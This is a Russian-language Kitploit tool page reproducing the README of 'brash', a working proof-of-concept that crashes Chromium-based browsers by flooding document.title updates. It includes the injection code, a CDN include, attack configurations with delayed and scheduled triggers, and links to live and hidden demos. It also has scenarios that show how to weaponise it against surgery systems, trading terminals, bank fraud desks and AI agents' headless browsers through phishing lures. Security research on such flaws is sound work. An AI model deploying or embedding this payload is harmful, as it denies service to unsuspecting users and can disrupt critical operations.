Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
brash — DoS-атака на браузер Chromium через эксплуатацию document.title | Kitploit
Инструменты/GitHubGitHub/jofpin/brash
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатация веб-приложенийТестирование на Проникновение
GitHubjofpin/brash

brash

DoS-атака на браузер Chromium через эксплуатацию document.title

Репозиторий
18069 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Brash

Brash от Jose Pino

DoS-атака на браузер Chromium через эксплуатацию document.title

Brash — это критическая уязвимость в Blink, рендеринговом движке, лежащем в основе браузеров на Chromium. Она позволяет обрушить любой браузер на Chromium за 15–60 секунд, эксплуатируя архитектурный недостаток в том, как обрабатываются некоторые DOM-операции.

Вектор атаки возникает из-за полного отсутствия ограничения частоты обновлений API document.title. Это позволяет внедрять миллионы мутаций DOM в секунду, и в процессе этой попытки инъекции насыщается главный поток, нарушая цикл событий и вызывая коллапс интерфейса. Последствия значительны: высокое потребление CPU, деградация общей производительности системы, возможность остановки или замедления других параллельных процессов. Затрагивая браузеры на Chromium на настольных ПК, Android и встраиваемых средах, эта уязвимость подвергает риску более 3 миллиардов человек в интернете, создавая отказ в обслуживании на уровне системы.

СТАТУС: Работает
ЗАТРОНУТЫЕ ВЕРСИИ: Chromium ≤ 143.0.7483.0 (протестировано: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] Эксплойт в настоящее время работает. После исправления уязвимости этот код перестанет действовать. Тем не менее, обнаружение этого архитектурного пробела и выполнение всего процесса исследования, документирования и разработки, чтобы поделиться чем-то впечатляющим с миром, было невероятно полезным путешествием.

Тестирование

Было протестировано 11 основных браузеров на macOS, Windows и Linux для проверки влияния уязвимости.

Уязвимые (Chromium/Blink)

Все браузеры на основе Chromium уязвимы, поскольку недостаток находится в ядре движка Blink:

  • Chrome — вылетает за 15–30 секунд
  • Edge — вылетает за 15–25 секунд
  • Vivaldi — вылетает за 15–30 секунд
  • Arc Browser — вылетает за 15–30 секунд
  • Dia Browser — вылетает за 15–30 секунд
  • Opera — вылетает за ~60 секунд
  • Perplexity Comet — вылетает за 15–35 секунд
  • ChatGPT Atlas — вылетает за 15–60 секунд
  • Brave — вылетает за 30–125 секунд

Не уязвимы (используют другие движки)

  • Firefox (движок Gecko) — устойчив к атаке
  • Safari (движок WebKit) — устойчив к атаке
  • Браузеры на iOS (все используют WebKit) — устойчивы к атаке из-за обязательной политики Apple, требующей от всех браузеров iOS использовать WebKit в качестве рендерингового движка, что делает браузеры на Chromium невозможными на iOS

Как это работает

Brash эксплуатирует фундаментальный архитектурный недостаток в движке Blink: отсутствие троттлинга при обновлениях document.title. Атака проходит в три критических фазы:

1. Генерация хешей (Подготовка)

Генерирует 100 уникальных шестнадцатеричных строк длиной 512 символов и сохраняет их в памяти перед началом атаки.

Зачем предзагружать их, а не генерировать в реальном времени?

Потому что постоянная генерация новых строк потребляет процессорное время на математические операции. Это время критично — каждая миллисекунда, потраченная на генерацию строк, НЕ используется для бомбардировки браузера обновлениями document.title.

Имея 100 строк, уже загруженных в память:

  • Более быстрая атака: нет пауз для генерации строк
  • Сфокусированный CPU: 100% ресурсов посвящено насыщению браузера
  • Меньше системных пауз: предотвращает постоянное срабатывание сборщика мусора
  • Избегает обнаружения: 100 различных строк не позволяют браузеру кэшировать или оптимизировать обновления

В результате мы достигаем максимальной скорости инъекции с максимальным потреблением памяти на каждое обновление.

root@kitploit:~
// Генерирует уникальные ID с высокой энтропией
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Пакетная инъекция (Атака)

Выполняет настраиваемые пакеты обновлений заголовка. При конфигурации по умолчанию (burst: 8000, interval: 1ms) атака пытается внедрить примерно 24 миллиона обновлений в секунду, и именно во время этой попытки начинается коллапс браузера.

root@kitploit:~
// Паттерн тройного обновления: максимальное разрушение конвейера рендеринга
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Каждый пакет выполняет 3 последовательных обновления
    }
    this.counter += 0x3;
}

3. Насыщение UI-потока (Коллапс)

Непрерывные обновления насыщают главный поток браузера, предотвращая обработку других событий:

Временная шкала коллапса:

  • 0–5 с: Начальное насыщение UI-потока, экстремальное потребление CPU
  • 5–10 с: Вкладка полностью заморожена, невозможно закрыть
  • 10–15 с: Коллапс браузера или диалог "Страница не отвечает"
  • 15–60 с: Требуется принудительное завершение (браузеры на Chromium)

Почему это работает?

Blink обрабатывает каждое изменение document.title синхронно в главном потоке без ограничения частоты. Это создаёт узкое место, которое:

  • Блокирует цикл событий
  • Не позволяет обрабатывать пользовательский ввод
  • Насыщает память длинными строками
  • Нарушает работу композитора и конвейера рендеринга
  • Вызывает перегрузку процессов браузера

Демонстрация и PoC

Чтобы полностью понять влияние Brash, вы можете испытать эксплойт в различных контекстах — от контролируемой живой демонстрации до собственной реализации. Каждый вариант предназначен для разного уровня взаимодействия и технического понимания.

1. Живая демонстрация

Самый быстрый способ увидеть Brash в действии. Перейдите на https://brash.run

Чтобы увидеть эксплойт без графического интерфейса, перейдите на https://brash.run/hidden-live-demo.html. Эта версия выполняет инъекцию невидимо, имитируя реальную атаку.

2. Локальная демонстрация

Если вы предпочитаете запустить демонстрацию в своей среде, каталог exploit-demo/, включённый в репозиторий, позволяет:

  • Управлять интенсивностью атаки в реальном времени
  • Видеть визуальный счётчик обновлений в секунду
  • Использовать три предопределённых режима: умеренный, агрессивный и экстремальный
  • Наблюдать постепенный коллапс браузера

Просто откройте exploit-demo/index.html в любом браузере на Chromium и настройте значения burst и interval перед запуском.

  • burstSize: Изменений заголовка за интервал (выше = агрессивнее)
  • interval: Миллисекунды между пакетами (ниже = агрессивнее)

3. Реализуйте собственный PoC

Чтобы интегрировать Brash в ваше собственное тестирование безопасности или исследование, подключите скрипт и настройте атаку:

Подключение скрипта:

root@kitploit:~
<!-- Локально -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Использование API:

root@kitploit:~
// 1. Немедленная атака
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Задержка в секундах (по умолчанию)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 секунд
});

// 3. Задержка со строками
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // или "5000ms" или "3m"
});

// 4. Запланированная атака
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Конфигурации интенсивности:

root@kitploit:~
// Умеренный: контролируемое наблюдение
// Эффект: браузер отвечает медленно, позволяет наблюдать постепенную деградацию
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 обновлений/сек
});

// Агрессивный: быстрое насыщение
// Эффект: вкладки замерзают за 10–20 секунд
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60 000 обновлений/сек
});

// Экстремальный: мгновенный коллапс
// Эффект: мгновенное замирание, полный крах за 15–30 секунд
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Пытается ~24 млн обновлений/сек (браузер падает во время попытки)
});

Примечание: Каждый пакет выполняет 3 последовательных обновления document.title. Например, burstSize: 400 = 1 200 фактических обновлений за интервал.

Сценарии атак

Brash может быть использован в виде оружия во множестве критических контекстов с последствиями от экономических потерь до риска для жизни человека.

Атаки с временной задержкой: стратегическое время

Критическая особенность, усиливающая опасность Brash, — это возможность запрограммировать выполнение в определённые моменты. Злоумышленник может внедрить код с временным триггером, оставаясь в спящем режиме до заранее заданного точного времени.

Техническая реализация:

root@kitploit:~
// Задержка в секундах (по умолчанию)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Задержка со строками (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Запланировано: выполняется в точный момент
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

Параметры:

  • burstSize: Обновлений за цикл
  • interval: Миллисекунды между циклами
  • delay: Число (секунды) или строка ("30s", "5000ms", "3m")
  • scheduled: ISO-строка или объект Date

Почему параметр delay особенно летален:

  1. Не требует знания, когда они откроют ссылку: Просто ждёт X секунд с момента открытия страницы жертвой.

  2. Время для установления доверия: В течение минут ожидания жертва взаимодействует с кажущимся легитимным контентом (формы, документы, видео).

  3. Уклонение от первоначальной проверки: Если кто-то быстро просмотрит код, он покажется неактивным. Атака не выполняется до более позднего момента.

  4. Идеальное психологическое время: Ждёт, пока жертва глубоко погрузится в задачу (середина экзамена, середина встречи, во время критической процедуры).

Типичный сценарий с delay:

root@kitploit:~
00:00 - Жертва открывает ссылку "Q4 Documents.pdf"
00:30 - Жертва просматривает документы, выглядят легитимно
02:00 - Жертва делится экраном на встрече с 50 людьми
03:00 - АТАКА ВЫПОЛНЯЕТСЯ - все браузеры падают

Почему параметр scheduled также разрушителен:

  1. Хирургическая синхронизация: Злоумышленник выбирает точный момент максимального воздействия (открытие рынка, время пиковых операций).

  2. Глобальные скоординированные атаки: Несколько целей могут быть поражены одновременно в одну секунду.

  3. Уклонение от предварительного обнаружения: Вредоносный код может присутствовать за дни или недели до выполнения, проходя проверки безопасности.

  4. Невозможность остановить: К моменту выполнения атаки уже слишком поздно её предотвращать.

Примеры стратегического времени:

  • 09:30 по восточному времени — Открытие Уолл-стрит (максимальная волатильность торгов)
  • 03:00 — Смена дежурств в больнице (минимум персонала, максимум уязвимости)
  • 12:00 — Пик авиатрафика (максимальное количество одновременных рейсов)
  • Чёрная пятница 00:00 — Начало онлайн-распродаж (максимальный трафик электронной коммерции)
  • Во время прямых эфиров — Президентские дебаты, Супербоул, массовые спортивные события

Эта кинетическая временная способность превращает Brash из инструмента для нарушения работы в оружие временной точности, где злоумышленник контролирует не только "что" и "где", но и "когда" с миллисекундной точностью.


Отравление AI-агентов: автоматизированные системы

Сценарий: Предприятия, чьи системы зависят от AI-агентов для веб-скрапинга, анализа рынка, мониторинга конкурентов или автоматизации поддержки клиентов, используют headless-браузеры (Chromium/Puppeteer) для ежедневного запроса тысяч веб-сайтов. Злоумышленник внедряет Brash в популярные сайты, к которым обращаются эти агенты.

Во время критических автоматических операций:

  • AI-агент запрашивает скомпрометированный финансовый новостной сайт для анализа рынка
  • Brash незаметно выполняется в headless-браузере агента
  • Процесс браузера рушится, останавливая весь конвейер анализа
  • Нижестоящие системы, ожидающие данные от агента, выходят из режима ожидания
  • Автоматические решения о торговле/ценообразовании блокируются
  • Система мониторинга обнаруживает массовые сбои у нескольких агентов одновременно
  • Требуется ручное вмешательство для перезапуска всей инфраструктуры агентов

Усиленные векторы атаки:

  • AI-исследовательские ассистенты: Агенты, которые ищут и обрабатывают веб-информацию для компаний
  • Боты мониторинга цен: Системы электронной коммерции, отслеживающие цены конкурентов
  • Инструменты SEO-анализа: Сервисы, сканирующие миллионы страниц для анализа
  • AI-поддержка клиентов: Чат-боты, запрашивающие веб-документацию в реальном времени
  • Автоматическое сканирование на соответствие: Регуляторные системы, мониторящие веб-сайты

Реальное воздействие: Паралич критических автоматических операций, экономические потери от невыполненных решений, массовая деградация AI-зависимых сервисов, затраты на восстановление инфраструктуры, раскрытие критической зависимости от автоматических агентов.

Срыв хирургической процедуры: угроза жизни

Сценарий: Сердечно-сосудистый хирург выполняет коронарное шунтирование с помощью веб-системы навигации (всё чаще используемой в малоинвазивных операциях). Система предоставляет изображения в реальном времени, показатели жизнедеятельности пациента и наведение для роботизированных инструментов.

В наиболее критической фазе операции появляется уведомление браузера: "ВНИМАНИЕ: Критическое обновление хирургической системы — примените сейчас, иначе операция может провалиться."

При паническом нажатии:

  • Браузер мгновенно падает вместе с навигационной системой
  • Хирург теряет визуализацию направляющих изображений на 3–5 минут
  • Показатели жизнедеятельности в реальном времени исчезают с экранов
  • Медицинская команда вынуждена импровизировать во время перезапуска системы
  • Пациент находится в критическом риске в течение окна коллапса

Реальное воздействие: Прямой риск смерти пациента, возможность необратимых повреждений, психологическая травма для медицинской команды, многомиллионные судебные иски за технологическую халатность.

Мгновенный крах фондовой биржи

Сценарий: Во время открытия рынка на Уолл-стрит злоумышленник одновременно внедряет Brash в несколько каналов: веб-интерфейс Bloomberg Terminal, чаты институциональных трейдеров и специализированные форумы. Ссылка обещает "Утечка: расшифровка экстренного заседания ФРС — снижение ставки подтверждено."

В первые 30 секунд торгов (максимальная ликвидность):

  • 200+ институциональных трейдеров одновременно нажимают
  • Их веб-терминалы падают как раз в момент размещения многомиллионных ордеров
  • Автоматические торговые алгоритмы воспринимают внезапный спад активности как "крах"
  • Запускаются массовые автоматические продажи
  • Рынок падает на 5–7% за 90 секунд до срабатывания предохранителей
  • Миллионы розничных инвесторов теряют сбережения

Реальное воздействие: Триллионы долларов потерь рыночной капитализации, глобальная финансовая паника, расследования SEC, потенциальный кризис доверия к рынкам.

Банковская система: предотвращение мошенничества в реальном времени

Сценарий: Аналитики по мошенничеству в банке обрабатывают оповещения о подозрительных транзакциях в реальном времени через веб-панель. В Чёрную пятницу (пик транзакций) они получают Brash по корпоративной почте: "Обнаружен новый паттерн мошенничества — требуется срочный анализ."

В момент максимального объёма транзакций:

  • 20+ аналитиков одновременно открывают ссылку
  • Панели обнаружения мошенничества падают
  • 15–20 минут транзакций остаются без проверки
  • Злоумышленники используют окно для обработки тысяч украденных транзакций
  • $2–5 млн мошенничества проходят незамеченными
  • Автоматические системы настроены разрешать транзакции, если аналитики не отвечают

Реальное воздействие: Миллионы долларов прямых потерь, тысячи клиентов с мошенническими списаниями, огромный репутационный ущерб, регуляторные штрафы за сбои в системах предотвращения.


Эти сценарии не теоретические. Простота Brash делает его реальной угрозой для любой операции, зависящей от веб-браузеров, а в 2025 году это практически всё.

Заключительные замечания

Создание Brash — это попытка продемонстрировать, что происходит, когда базовые меры защиты отсутствуют в веб-технологиях, которые мы используем ежедневно. Уязвимость заключается не в сложном коде или продвинутых техниках, а в фундаментальном отсутствии ограничения частоты на API, который по своей сути должен быть троттлирован.

Воздействие Brash на более чем 3 миллиарда пользователей браузеров на Chromium показывает, что архитектурные недостатки в ключевых компонентах, таких как Blink, имеют массовые и глобальные последствия. Это не изолированный баг — это проектный дефект, затрагивающий всю экосистему Chromium.

Зачастую самые опасные вещи прячутся в самом неожиданном месте, самом игнорируемом. — Jose Pino

Отказ от ответственности

Данный PoC предназначен исключительно для образовательных целей и исследований в области безопасности, чтобы помочь сделать интернет более безопасным местом. Его выполнение должно осуществляться исключительно в контролируемых средах и не должно использоваться на производственных системах, публичных сайтах или устройствах, содержащих важные данные.

Неправильное использование этого эксплойта может привести к сбоям браузера, потере данных и нестабильности системы. Автор не несёт ответственности за любой ущерб, потерю данных или юридические последствия, возникшие в результате использования или неправильного использования этого PoC. Используя Brash, вы подтверждаете, что понимаете эти риски и соглашаетесь использовать его только для законных исследований безопасности в изолированных средах.

Ожидается, что пользователи будут соблюдать все применимые законы и нормативные акты. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, является незаконным и неэтичным.

Лицензия

Содержимое этого проекта лицензировано по лицензии Creative Commons Attribution 3.0, а исходный код, используемый для форматирования и отображения этого содержимого, лицензирован по лицензии MIT.

Copyright (c) 2025 Jose Pino

Скачать инструмент